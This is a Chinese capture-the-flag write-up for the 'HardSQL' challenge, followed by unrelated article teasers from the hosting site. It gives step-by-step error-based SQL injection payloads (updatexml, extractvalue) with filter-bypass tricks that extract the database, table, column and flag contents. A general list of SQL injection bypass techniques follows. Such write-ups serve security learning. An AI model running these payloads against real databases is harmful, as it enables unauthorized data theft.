报错注入 [极客大挑战 2019]HardSQL1

 打开题目

输入1或者1",页面均回显NO,Wrong username password!!!

那我们输入1'

试试万能密码

1' or 1=1 #

输入1' and 1=2 #

输入1' union select 1,2,3 #

输入1' ununionion seselectlect 1,2,3 #

输入1' #

输入1'=#

页面依旧回显

说明页面过滤了=号,空格,union,就连双写绕过都不行

尝试了一下,发现and也被过滤了

我们就可以试试报错注入

我们先尝试updatexml函数

updatexml函数报错的原理是:

UPDATEXML(XML_document,XPath_string,new_value);
第一个参数:XML的内容
第二个参数:是需要update的位置XPATH路径
第三个参数:是更新后的内容
所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式

而第二个参数xpath_string(xpath格式的字符串),我们在注入的时候把第二个参数变为非xpath格式自然会报错

因为我们在上面的尝试中发现and,union,空格是被过滤的

注释符我们还是用#吧,用%23会报错

爆破数据库名

1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

或者1'^(updatexml(1,concat(0x7e,database(),0x7e),1))#

得到数据库名为geek

因为题目过滤了空格,我们用括号实现绕过

爆破表名

1'^(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#

1'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#

得到表名为H4rDsq1

爆破列名

1'^(updatexml(1,concat(0x7e,(select(column_name)from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

然后我们得到了

它说我们的子查询要返回1行以上

那我们就更改一下代码

1'^(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

成功得到所有列名

爆破数据

1'or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))#

我们得到了flag的前半段

flag{c2b230c9-5463-4843-b1cc-1f

我们可以用right()函数获取flag的右半段

1'or(updatexml(1,concat(0x7e,(select(right(password,20))from(H4rDsq1)),0x7e),1))#

得到flag的右边半部分

3-b1cc-1f1dad3f0b3d}

我们拼接一下即可得到flag

接下来我们用extractvalue函数进行注入

extractvalue函数格式为(XML_document,xpath_string)

爆破数据库名

1'or(extractvalue(1,(concat(0x7e,database(),0x7e))))#

同样的

用1'^(extractvalue(1,(concat(0x7e,database(),0x7e))))#也是一样的

爆破表名

1'or(extractvalue(1,(concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek'))))))#

爆破列名

1'or(extractvalue(1,(concat(0x7e,(select(column_name)from(information_schema.columns)where(table_name)like('H4rDsq1'))))))#

重新写

1'or(extractvalue(1,(concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))))#

爆破数据

1'or(extractvalue(1,(concat(0x7e,(select(password)from(H4rDsq1)),0x7e))))#

1'or(extractvalue(1,(concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e))))#

得到flag

知识点:

  • 什么是xor(异或)用法,和or(或)用法有什么区别?

①or是或运算,A or B的结果:当A、B中只要有一个或者两个都为1时,结果为1,否则为0;

即,有一个真即为真

②xor是异或运算,A xor B的结果:当A、B两个不同时结果为1,否则为0。

即,相同为假,不同为真

  • 在mysql中异或运算符的简介

mysql里异或运算符:^ 或者 xor

  • substring()方法

截取字符串中介于两个指定下标之间的字符。

用法:

1.有两个参数

字符串.substring(参数1,参数2);
参数1:字符串截取的起始下标,非负的整数(如果此参数是0,则是从字符串的第一个字符开始截取)
参数2:截取结束位置的索引下标(截取的结果,不包括结束位置的字符)

如:

      var str="abcdefghijklmn";
      var res=str.substring(2,6);
       console.log(res);
      结果res为:"cdef"

2.有一个参数

字符串.substring(参数);
参数:字符串截取的起始下标
结果:从参数标记的位置开始向后截取至字符串末尾的字符串

   如: 

      var str="abcdefghijklmn";
      var res=str.substring(3);
      console.log(res);
      结果res为:"defghijklmn"

  • mid函数用法

CString Mid( int nFirst ) const;                      //从左边第 nCount+1 个字符开始,获取后面所有的字符

CString Mid( int nFirst, int nCount ) const;    //从左边第 nFirst+1 个字符开始,获取后面  nCount 个字符

如:CString a,b;
 a = "123456789";
 b = a.Mid(3);    //值为:456789
 b = a.Mid(2, 4); //值为:3456

  • right函数和left函数

left(str,num):对字符串str从左开始数起,返回num个字符(与函数right()相反)

  • sql注入中绕过一些常见的特殊符号

1.绕过空格

注释符/**/绕过

非断开空格%a0(非断开空格是一种特殊的空格字符,与常规空格不同,它在文本中不会引起换行或断开。在URL编码中,非断开空格通常被表示为 %a0。)

括号绕过空格  如果空格被过滤,括号没有被过滤,可以用括号绕过。在MySQL中,括号是用来包围子查询的。任何可以计算出结果的语句,都可以用括号包围起来。而括号两端,可以没有多余的空格

例如:select(table_name)from(information_schema.tables)where(table_schema)='数据库名'

双写绕过空格

%20绕过空格

2.绕过引号

引号以及引号内容全部转换为16进制

3.逗号绕过

用from或者offset绕过

在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:

对于limit可以使用offset来绕过:

4.等号绕过

用like即可绕过

5.比较符<>绕过

使用greatest()绕过(返回最大值)

使用least()绕过(返回最小值

6.绕过注释符号(如#,--  -)

原理是闭合后面的引号进行绕过

7.关键字绕过

8.substring与mid被过滤可以用right与left来绕过

知识点选自:https://www.cnblogs.com/lspbk/p/14440867.html#:~:text=SQL%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7%201%E3%80%81%E7%A9%BA%E6%A0%BC%E7%BB%95%E8%BF%87%E3%80%81%E5%BC%95%E5%8F%B7%E7%BB%95%E8%BF%87%E3%80%81%E9%80%97%E5%8F%B7%E7%BB%95%E8%BF%87%202%E3%80%81%E6%AF%94%E8%BE%83%E7%AC%A6%E7%BB%95%E8%BF%87%E3%80%81%E6%B3%A8%E9%87%8A%E7%AC%A6%E7%BB%95%E8%BF%87%E3%80%81%3D%E7%BB%95%E8%BF%87%203%E3%80%81%E5%85%B3%E9%94%AE%E5%AD%97%E7%BB%95%E8%BF%87%20%E5%AE%8C%E6%95%B4%201.%E7%BB%95%E8%BF%87%E7%A9%BA%E6%A0%BC%EF%BC%88%E6%B3%A8%E9%87%8A%E7%AC%A6%2F%2A,%2A%2F%EF%BC%89%EF%BC%9A%20%E6%9C%80%E5%9F%BA%E6%9C%AC%E7%9A%84%E7%BB%95%E8%BF%87%E6%96%B9%E6%B3%95%EF%BC%8C%E7%94%A8%E6%B3%A8%E9%87%8A%E6%9B%BF%E6%8D%A2%E7%A9%BA%E6%A0%BC%EF%BC%9A%20%2F%2A%20%E6%B3%A8%E9%87%8A%20%2A%2F%202.%E6%8B%AC%E5%8F%B7%E7%BB%95%E8%BF%87%E7%A9%BA%E6%A0%BC%EF%BC%9A%20%E5%A6%82%E6%9E%9C%E7%A9%BA%E6%A0%BC%E8%A2%AB%E8%BF%87%E6%BB%A4%EF%BC%8C%E6%8B%AC%E5%8F%B7%E6%B2%A1%E6%9C%89%E8%A2%AB%E8%BF%87%E6%BB%A4%EF%BC%8C%E5%8F%AF%E4%BB%A5%E7%94%A8%E6%8B%AC%E5%8F%B7%E7%BB%95%E8%BF%87%E3%80%82

substring()方法-CSDN博客

CString类常用方法----Left(),Mid(),Right()_cstring中的mid-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/201639.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

redis运维(十六) 有序集合

一 有序集合 把握一点&#xff1a; 各种redis 命令都提供各种语言对应的API 接口,后续API是关键 ① 概念 1、sorted set --> 有序集合2、redis有序集合也是集合类型的一部分&#xff0c;所以它保留了集合中元素不能重复的特性3、但是不同的是,有序集合给每个元素多设置…

《Fine-Grained Image Analysis with Deep Learning: A Survey》阅读笔记

论文标题 《Fine-Grained Image Analysis with Deep Learning: A Survey》 作者 魏秀参&#xff0c;南京理工大学 初读 摘要 与上篇综述相同&#xff1a; 细粒度图像分析&#xff08;FGIA&#xff09;的任务是分析从属类别的视觉对象。 细粒度性质引起的类间小变化和类内…

MAX/MSP SDK学习05:A_GIMME方法

今天终于将A_GIMME方法部分的描述看懂了&#xff0c;上周因为太赶时间加上这文档很抽象一直没看懂。也就那么一回事&#xff0c;记录一下。 A_GIMME方法用于接收多个参数。 ①内置消息选择器传递多个参数时一定要使用A_GIMME&#xff1b; ②自定义消息选择器传递多个参数时建…

git常用命令总结

一&#xff0c;撤销本地commit的记录&#xff0c;注意是还没有push到远端的奥 androidstudio上操作&#xff1a;选中要提交的记录的上一个记录&#xff0c;也就是你想回退到的某个记录。如你提交的第55个commit有问题&#xff0c;想撤回&#xff0c;你就选中第54个记录&#x…

每日一题:LeetCode-589.N叉树的前序遍历

每日一题系列&#xff08;day 01&#xff09; 前言&#xff1a; &#x1f308; &#x1f308; &#x1f308; &#x1f308; &#x1f308; &#x1f308; &#x1f308; &#x1f308; &#x1f308; &#x1f308; &#x1f308; &#x1f308; &#x1f308; &#x1f50e…

【鸿蒙应用ArkTS开发系列】- 灌水区,鸿蒙ArkTs开发有问题可以在该帖中反馈

大家好, 这是一篇水贴&#xff0c;给大家提供一个交流沟通鸿蒙开发遇到问题的地方。 新增新增这个文章呢&#xff0c;大家在开发使用ArkTS开发鸿蒙应用或者鸿蒙服务的时候&#xff0c;有遇到疑问或者问题&#xff0c;可以在本文章评论区提问&#xff0c;我看到了如果知道怎么…

易货:一种新型的商业模式

随着经济的发展和社会的进步&#xff0c;人们对于交易的需求和方式也在不断变化。传统的商业模式已经无法满足人们对于多元化、个性化、高效的需求。在这样的背景下&#xff0c;易货模式逐渐走进人们的视野&#xff0c;成为一种新型的商业模式。 易货模式是一种以物换物的交易方…

优秀智慧园区案例 - 三亚市崖州湾科技城智慧园区,先进智慧园区建设方案经验

一、项目背景 三亚崖州湾科技城作为海南自贸港建设的重点园区&#xff0c;是重点推进的海南自贸港先导项目之一。崖州湾科技城全力抢抓有利时机&#xff0c;进一步拓宽发展思路&#xff0c;持续深化体制机制创新&#xff0c;牢牢把握“打造产学研城深度融合的聚集地”这一核心…

【Hello Go】Go语言文本文件处理

文本文件处理 字符串处理字符串操作ContainsJoinindexrepeatReplaceSplitTrimFields 字符串转换AppendFormatParse 正则表达式Json处理编码Json通过结构体生产Json通过map生产json 解码Json解析到结构体解析到interface 文件操作相关api介绍建立和打开文件关闭文件写文件读文件…

kaggle新赛:SenNet 3D肾脏分割大赛(3D语义分割)

赛题名称&#xff1a;SenNet HOA - Hacking the Human Vasculature in 3D 赛题链接&#xff1a;https://www.kaggle.com/competitions/blood-vessel-segmentation 赛题背景 目前&#xff0c;人类专家标注员需要手动追踪血管结构&#xff0c;这是一个缓慢的过程。即使有专家…

Docker安装Zookeeper

天行健&#xff0c;君子以自强不息&#xff1b;地势坤&#xff0c;君子以厚德载物。 每个人都有惰性&#xff0c;但不断学习是好好生活的根本&#xff0c;共勉&#xff01; 文章均为学习整理笔记&#xff0c;分享记录为主&#xff0c;如有错误请指正&#xff0c;共同学习进步。…

pytorch下载离线包的网址

下载地址&#xff1a;https://download.pytorch.org/whl/torch_stable.html 安装GPU版本需要安装&#xff1a;torch、torchvision、 注意版本需要对应上 格式&#xff1a;适用cuda版本&#xff0c;torch版本 或者 orchvision版本&#xff0c;cp38就是适用python 3.8版本 下…

Google Chrome 任意文件读取 (CVE-2023-4357)漏洞

漏洞描述 该漏洞的存在是由于 Google Chrome 中用户提供的 XML 输入验证不足。远程攻击者可以创建特制网页&#xff0c;诱骗受害者访问该网页并获取用户系统上的敏感信息。远程攻击者可利用该漏洞通过构建的 HTML 页面绕过文件访问限制&#xff0c;导致chrome任意文件读取。Li…

linux ld 链接器学习笔记

ld链接器笔记 1. 首先编写一段汇编代码 这里的汇编语法时 AT&T语法,是gcc原生支持的语法,底层使用 gas(gnu assembler) 完成汇编,相较于 Intel x86语法, AT&T 语法要更加古老,因此大多数人更加偏向于使用 Intel 的语法. nasm 编译器支持x86语法.自从2.10版本&#xf…

三十分钟学会SCALA

SCALA Scala 是一种运行在 JVM上的函数式的面向对象语言。 Scala 是兼容的&#xff1a;兼容 Java&#xff0c;可以访问庞大的 Java 类库&#xff1b;Scala 是精简的&#xff1a;Scala 表达能力强&#xff0c;一行代码抵得上多行 Java 代码&#xff0c;开发速度快。可以让程序…

​软考-高级-系统架构设计师教程(清华第2版)【第18章 安全架构设计理论与实践(P648~690)-思维导图】​

软考-高级-系统架构设计师教程&#xff08;清华第2版&#xff09;【第18章 安全架构设计理论与实践&#xff08;P648~690&#xff09;-思维导图】 课本里章节里所有蓝色字体的思维导图

南京--ChatGPT/GPT4 科研实践应用

2023年随着OpenAI开发者大会的召开&#xff0c;最重磅更新当属GPTs&#xff0c;多模态API&#xff0c;未来自定义专属的GPT。微软创始人比尔盖茨称ChatGPT的出现有着重大历史意义&#xff0c;不亚于互联网和个人电脑的问世。360创始人周鸿祎认为未来各行各业如果不能搭上这班车…

YOLOv5结合华为诺亚VanillaNet Block模块

🗝️YOLOv5实战宝典--星级指南:从入门到精通,您不可错过的技巧   -- 聚焦于YOLO的 最新版本, 对颈部网络改进、添加局部注意力、增加检测头部,实测涨点 💡 深入浅出YOLOv5:我的专业笔记与技术总结   -- YOLOv5轻松上手, 适用技术小白,文章代码齐全,仅需 …

传输层——TCP协议

文章目录 一.TCP协议二.TCP协议格式1.序号与确认序号2.窗口大小3.六个标志位 三.确认应答机制&#xff08;ACK&#xff09;四.超时重传机制五.连接管理机制1.三次握手2.四次挥手 六.流量控制七.滑动窗口八.拥塞控制九.延迟应答十.捎带应答十一.面向字节流十二.粘包问题十三.TCP…